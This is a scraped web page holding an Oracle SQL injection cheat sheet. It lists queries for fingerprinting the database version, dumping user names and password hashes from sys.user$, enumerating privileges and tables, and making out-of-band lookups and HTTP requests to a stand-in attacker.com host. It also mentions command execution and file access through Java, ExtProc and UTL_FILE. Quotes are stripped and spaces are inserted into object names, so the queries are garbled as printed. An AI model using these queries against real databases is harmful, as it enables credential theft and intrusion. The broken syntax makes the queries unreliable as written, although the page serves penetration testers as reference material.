Oracle SQL Injection Cheat Sheet

Source: Internet
Author: User
Tags sql injection cheat sheet

SELECT banner FROM v $ version WHERE banner like tns %;
SELECT version FROM v $ instance;


SELECT name FROM sys. user $; -- priv
SELECT name, spare4 FROM sys. user $ -- priv, 11g
SELECT * FROM dba_sys_privs WHERE grantee = DBSNMP; -- priv, list a users privs
SELECT grantee FROM dba_sys_privs WHERE privilege = select any dictionary; -- priv, find users with a special priv

SELECT name FROM v $ database;
SELECT instance_name FROM v $ instance
-- Also query TNS listener for other databases. See tnscmd (services | status ).
SELECT column_name FROM all_tab_columns WHERE table_name = blah and owner = foo;
SELECT owner, table_name FROM all_tables;



SELECT bitand (6, 1) FROM dual; -- returns0


Select cast (1 AS int) FROM dual;


Select case when 1 = 2 THEN 1 ELSE 2 end from dual; -- returns 2

SELECT UTL_INADDR.get_host_name (10.0.0.1) FROM dual; -- if reverse looks are slow
SELECT UTL_INADDR.get_host_address (blah.attacker.com) FROM dual; -- if forward lookups are slow
SELECT UTL_HTTP.REQUEST (http://google.com) FROM dual; -- if outbound TCP is filtered/slow
SELECT UTL_HTTP.REQUEST (http://google.com) FROM dual;
Java can be used to execute commands if its installed.
ExtProc can sometimes be used too, though it normally failed for me .:-(
UTL_FILE can sometimes be used. Check that the following is non-null:
SELECT value FROM v $ parameter2 WHERE name = utl_file_dir;
Java can be used to read and write files if its installed (it is not available in Oracle Express ).
SELECT host_name FROM v $ instance;
SELECT UTL_INADDR.get_host_address FROM dual; -- gets IP address
SELECT UTL_INADDR.get_host_name (10.0.0.1) FROM dual; -- gets hostnames

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.